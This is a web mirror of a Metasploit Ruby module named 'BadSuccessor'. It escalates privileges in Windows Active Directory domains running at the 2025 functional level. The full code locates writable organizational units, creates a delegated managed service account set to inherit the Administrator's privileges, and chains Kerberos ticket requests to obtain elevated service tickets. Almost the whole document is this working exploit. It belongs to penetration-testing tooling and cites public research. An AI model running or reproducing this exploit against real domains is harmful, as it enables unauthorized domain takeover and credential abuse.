Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/bad_successor.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP
9
include Rex::Proto::LDAP
10
include Msf::OptionalSession::LDAP
11
include Msf::Exploit::Remote::LDAP::ActiveDirectory
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory',
18
'Description' => %q{
19
This module exploits 'Bad Successor', which allows operators to elevate privileges on domain controllers
20
running at the Windows 2025 forest functional level. Microsoft decided to introduce Delegated Managed Service
21
Accounts in this forest level and they came ripe for exploitation.
22
23
Normal users can't create dMSA accounts where dMSA accounts are supposed to be created, the Managed Service
24
Accounts OU, but if a normal user has write access to any other OU they can then create a dMSA account in
25
said OU. After creating the account the user can edit LDAP attributes of the account to indicate that this
26
account should inherit privileges from the Administrator user. Once this is complete we can request kerberos
27
tickets on behalf of the dMSA account and voila, you're admin.
28
29
The module has two actions, one for creating the dMSA account and setting it up to impersonate a high
30
privilege user, and another action for requesting the kerberos tickets needed to use the dMSA account for privilege
31
escalation.
32
},
33
'Author' => [
34
'AngelBoy', # discovery
35
'Spencer McIntyre', # Help with Kerberos implementation and a number of improvements during review
36
'jheysel-r7' # module
37
],
38
'References' => [
39
[ 'URL', 'https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory?&vid=badsuccessor-demo-video'],
40
[ 'URL', 'https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/'],
41
[ 'URL', 'https://jorgequestforknowledge.wordpress.com/2025/09/02/from-badsuccessor-to-patchedsuccessor/'],
42
],
43
'License' => MSF_LICENSE,
44
'Privileged' => true,
45
'DisclosureDate' => '2025-05-21',
46
'Notes' => {
47
'Stability' => [ CRASH_SAFE ],
48
'SideEffects' => [ ARTIFACTS_ON_DISK ],
49
'Reliability' => [ REPEATABLE_SESSION ],
50
'AKA' => [ 'BadSuccessor' ]
51
},
52
'Actions' => [
53
[ 'CREATE_DMSA', { 'Description' => 'Create a dMSA account which impersonates a high privilege user' } ],
54
[ 'GET_TICKET', { 'Description' => 'Requests a series of tickets to give the user a ticket which can be used in the context of whomst the dMSA account impersonates' } ],
55
],
56
'DefaultAction' => 'CREATE_DMSA'
57
)
58
)
59
register_options([
60
OptString.new('DMSA_ACCOUNT_NAME', [true, 'The name of the dMSA account to be create or request tickets for']),
61
OptString.new('ACCOUNT_TO_IMPERSONATE', [true, 'The name of the dMSA account to be created', 'Administrator'], conditions: %w[ACTION == CREATE_DMSA]),
62
OptString.new('RHOSTNAME', [true, 'The hostname of the domain controller'], conditions: %w[ACTION == GET_TICKET]),
63
OptString.new('SERVICE', [true, 'The Service you wish to get a high privilege ticket for', 'cifs'], conditions: %w[ACTION == GET_TICKET]),
64
])
65
deregister_options('SESSION')
66
end
67
68
def windows_version_vulnerable?
69
domain_info = adds_get_domain_info(@ldap)
70
version = domain_info[:domain_behavior_version]
71
72
unless version.to_i == 10
73
print_error('This module only works against domains running at the Windows 2025 functional level.')
74
return false
75
end
76
print_good('The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.')
77
true
78
end
79
80
def validate
81
errors = {}
82
83
case action.name
84
when 'GET_TICKET'
85
if %w[auto ntlm].include?(datastore['LDAP::Auth']) && Net::NTLM.is_ntlm_hash?(datastore['LDAPPassword'].encode(::Encoding::UTF_16LE))
86
errors['LDAPPassword'] = 'The GET_TICKET action is incompatible with LDAP passwords that are NTLM hashes.'
87
end
88
end
89
90
raise Msf::OptionValidateError, errors unless errors.empty?
91
end
92
93
def check
94
ldap_connect do |ldap|
95
validate_bind_success!(ldap)
96
97
if (@base_dn = datastore['BASE_DN'])
98
print_status("User-specified base DN: #{@base_dn}")
99
else
100
print_status('Discovering base DN automatically')
101
102
unless (@base_dn = ldap.base_dn)
103
print_warning("Couldn't discover base DN!")
104
end
105
end
106
@ldap = ldap
107
108
return Exploit::CheckCode::Safe unless windows_version_vulnerable?
109
110
ous = get_ous_we_can_write_to
111
if ous.blank?
112
return Exploit::CheckCode::Safe("Failed to find any Organizational Units #{datastore['LDAPUsername']} can write to.")
113
end
114
115
print_good("Found #{ous.length} OUs we can write to, listing below:")
116
ous.each do |ou|
117
print_good(" - #{ou}")
118
end
119
120
Exploit::CheckCode::Appears
121
end
122
rescue Errno::ECONNRESET
123
fail_with(Failure::Disconnected, 'The connection was reset.')
124
rescue Rex::ConnectionError => e
125
fail_with(Failure::Unreachable, e.message)
126
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
127
fail_with(Failure::NoAccess, e.message)
128
rescue Net::LDAP::Error => e
129
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
130
end
131
132
def get_ous_we_can_write_to
133
organizational_units = []
134
135
filter = '(objectClass=organizationalUnit)'
136
attributes = ['distinguishedName', 'name', 'objectClass', 'nTSecurityDescriptor']
137
entries = query_ldap_server(filter, attributes)
138
entries.each do |entry|
139
if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP]))
140
organizational_units << entry[:dn].first
141
end
142
end
143
organizational_units
144
end
145
146
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
147
if base_prefix.blank?
148
full_base_dn = @base_dn.to_s
149
else
150
full_base_dn = "#{base_prefix},#{@base_dn}"
151
end
152
begin
153
filter = Net::LDAP::Filter.construct(raw_filter)
154
rescue StandardError => e
155
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
156
end
157
158
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
159
# the SACL flag is set, as we need administrative privileges to retrieve
160
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
161
162
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
163
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
164
controls = []
165
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
166
returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
167
query_result_table = @ldap.get_operation_result.table
168
validate_query_result!(query_result_table, filter)
169
returned_entries
170
end
171
172
def create_dmsa(account_name, writeable_dn, group_membership)
173
sam_account_name = account_name
174
sam_account_name += '$' unless sam_account_name.ends_with?('$')
175
dn = "CN=#{account_name},#{writeable_dn}"
176
print_status("Attempting to create dMSA account CN: #{account_name}, DN: #{dn}")
177
178
dmsa_attributes = {
179
'objectclass' => ['top', 'person', 'organizationalPerson', 'user', 'computer', 'msDS-DelegatedManagedServiceAccount'],
180
'cn' => [account_name],
181
'useraccountcontrol' => ['4096'],
182
'samaccountname' => [sam_account_name],
183
'dnshostname' => ["#{Faker::Name.first_name}.#{domain_dns_name}"],
184
'msds-supportedencryptiontypes' => ['28'],
185
'msds-managedpasswordinterval' => ['30'],
186
'msds-groupmsamembership' => [group_membership],
187
'msds-delegatedmsastate' => ['0'],
188
'name' => [account_name]
189
}
190
191
unless @ldap.add(dn: dn, attributes: dmsa_attributes)
192
193
res = @ldap.get_operation_result
194
195
case res.code
196
when Net::LDAP::ResultCodeInsufficientAccessRights
197
fail_with(Failure::BadConfig, 'Insufficient access to create dMSA seed')
198
when Net::LDAP::ResultCodeEntryAlreadyExists
199
fail_with(Failure::BadConfig, "Seed object #{account_name} already exists")
200
when Net::LDAP::ResultCodeConstraintViolation
201
fail_with(Failure::UnexpectedReply, "Constraint violation: #{res.error_message}")
202
else
203
fail_with(Failure::UnexpectedReply, "#{res.message}: #{res.error_message}")
204
end
205
206
return false
207
end
208
209
print_good("Created dMSA #{account_name}")
210
true
211
end
212
213
def set_dmsa_attributes(dn, delegated_state, preceded_by_link)
214
print_status("Setting attributes for dMSA object: #{dn}")
215
216
# Define the attributes to update
217
operations = [
218
[:replace, 'msds-delegatedmsastate', [delegated_state]],
219
[:replace, 'msds-managedaccountprecededbylink', [preceded_by_link]]
220
]
221
222
# Perform the LDAP modify operation
223
unless @ldap.modify(dn: dn, operations: operations)
224
res = @ldap.get_operation_result
225
fail_with(Failure::Unknown, "Failed to update attributes for #{dn}: #{res.message} - #{res.error_message}")
226
end
227
228
print_good("Successfully updated attributes for dMSA object: #{dn}")
229
end
230
231
def query_account(account_name)
232
account_name += '$' unless account_name.ends_with?('$')
233
entry = adds_get_object_by_samaccountname(@ldap, account_name)
234
235
if entry.nil?
236
print_error('Original object not found')
237
exit
238
end
239
240
attrs_to_copy = {}
241
entry.each do |attr, values|
242
next unless %w[msds-managedaccountprecededbylink msds-delegatedmsastate].include?(attr.to_s)
243
244
attrs_to_copy[attr.to_s] = values.map(&:to_s)
245
end
246
247
attrs_to_copy.each do |key, value|
248
if value.is_a?(Array)
249
if value.length == 1
250
print_status("#{key} => #{value.first.inspect}")
251
else
252
print_status("#{key} => [#{value.map(&:inspect).join(', ')}]")
253
end
254
end
255
end
256
end
257
258
def get_group_memebership(sid)
259
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
260
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;#{sid})",
261
domain_sid: sid.rpartition('-').first
262
)
263
sd
264
end
265
266
def domain_dns_name
267
return @domain_dns_name if @domain_dns_name
268
269
if @ldap
270
@domain_dns_name = adds_get_domain_info(@ldap)[:dns_name]
271
else
272
ldap_connect { |ldap| @domain_dns_name = adds_get_domain_info(ldap)[:dns_name] }
273
end
274
275
@domain_dns_name
276
end
277
278
def action_create_dmsa
279
ldap_connect do |ldap|
280
validate_bind_success!(ldap)
281
if (@base_dn = datastore['BASE_DN'])
282
print_status("User-specified base DN: #{@base_dn}")
283
else
284
print_status('Discovering base DN automatically')
285
286
unless (@base_dn = ldap.base_dn)
287
fail_with(Failure::NotFound, "Couldn't discover base DN!")
288
end
289
end
290
291
@ldap = ldap
292
currrent_user_info = adds_get_current_user(@ldap)
293
sid = Rex::Proto::MsDtyp::MsDtypSid.read(currrent_user_info[:objectsid].first)
294
295
# Get vulnerable OUs
296
ous = get_ous_we_can_write_to
297
print_good("Found #{ous.length} OUs we can write to, listing them below:")
298
ous.each do |ou|
299
print_good(" - #{ou}")
300
end
301
302
writeable_dn = ous.sample
303
304
create_dmsa(datastore['DMSA_ACCOUNT_NAME'], writeable_dn, get_group_memebership(sid).to_binary_s)
305
fail_with(Failure::NoTarget, 'There are no Organization Units we can write to, the exploit can not continue') if ous.empty?
306
set_dmsa_attributes("CN=#{datastore['DMSA_ACCOUNT_NAME']},#{writeable_dn}", '2', "CN=#{datastore['ACCOUNT_TO_IMPERSONATE']},CN=Users,#{@base_dn}")
307
query_account(datastore['DMSA_ACCOUNT_NAME'])
308
end
309
end
310
311
def run_get_ticket_module(mod, opts = {})
312
opts.each do |key, value|
313
option_name = key.to_s
314
315
if value == :unset
316
mod.datastore.unset(option_name)
317
else
318
mod.datastore[option_name] = value
319
end
320
end
321
322
result = mod.run_simple(
323
'LocalInput' => user_input,
324
'LocalOutput' => user_output
325
)
326
327
# Exceptions raised in the get_ticket won't propagate here, so fail if the credential is nil
328
fail_with(Failure::Unknown, 'Failed to run get_ticket module.') unless result
329
330
result[:credential]
331
end
332
333
def action_get_ticket
334
mod_refname = 'admin/kerberos/get_ticket'
335
336
print_status("Loading #{mod_refname}")
337
get_ticket_module = framework.modules.create(mod_refname)
338
339
unless get_ticket_module
340
print_error("Failed to load module: #{mod_refname}")
341
return
342
end
343
344
# First get a TGT for the attacker who created the dmsa account:
345
user_tgt = auth_via_kdc
346
print_good("Obtained TGT for the user #{datastore['LDAPUsername']}")
347
348
# Secondly get a TGT for dMSA impersonating the target account:
349
impersonate = datastore['DMSA_ACCOUNT_NAME']
350
impersonate += '$' unless impersonate.ends_with?('$')
351
get_dmsa_tgs_options = {
352
'DOMAIN' => domain_dns_name,
353
'PASSWORD' => datastore['LDAPPassword'],
354
'rhosts' => datastore['RHOST'],
355
'username' => datastore['LDAPUsername'],
356
'SPN' => "krbtgt/#{domain_dns_name}",
357
'action' => 'get_tgs',
358
'IMPERSONATE' => impersonate,
359
'IMPERSONATE_TYPE' => 'dmsa',
360
'krb5ccname' => user_tgt[:path]
361
}
362
363
dmsa_credential = run_get_ticket_module(get_ticket_module, get_dmsa_tgs_options)
364
print_good("Obtained TGT for dMSA #{datastore['DMSA_ACCOUNT_NAME']}")
365
366
temp_ccache_file = Tempfile.create(['bad_successor_', '.ccache'], binmode: true)
367
begin
368
temp_ccache_file.write(dmsa_credential.to_ccache.encode)
369
temp_ccache_file.close
370
371
# Lastly request the ticket for the desired service:
372
get_priv_esc_tgs_options = {
373
'username' => impersonate,
374
'SPN' => "#{datastore['SERVICE']}/#{datastore['RHOSTNAME']}.#{domain_dns_name}",
375
'action' => 'get_tgs',
376
'krb5ccname' => temp_ccache_file.path,
377
'PASSWORD' => :unset,
378
'IMPERSONATE' => :unset,
379
'IMPERSONATE_TYPE' => 'none'
380
}
381
382
run_get_ticket_module(get_ticket_module, get_priv_esc_tgs_options)
383
ensure
384
File.unlink(temp_ccache_file.path) if temp_ccache_file && File.exist?(temp_ccache_file.path)
385
end
386
387
print_good("Obtained elevated TGT for #{datastore['DMSA_ACCOUNT_NAME']}")
388
end
389
390
def init_authenticator(options = {})
391
options.merge!({
392
host: rhost,
393
realm: domain_dns_name,
394
username: datastore['LDAPUsername'],
395
password: datastore['LDAPPassword'],
396
framework: framework,
397
framework_module: self
398
})
399
400
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
401
end
402
403
def auth_via_kdc
404
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
405
authenticator.authenticate_via_kdc(options)
406
end
407
408
def run
409
send("action_#{action.name.downcase}")
410
rescue Errno::ECONNRESET
411
fail_with(Failure::Disconnected, 'The connection was reset.')
412
rescue Rex::ConnectionError => e
413
fail_with(Failure::Unreachable, e.message)
414
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
415
fail_with(Failure::NoAccess, e.message)
416
rescue Net::LDAP::Error => e
417
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
418
end
419
end
420
421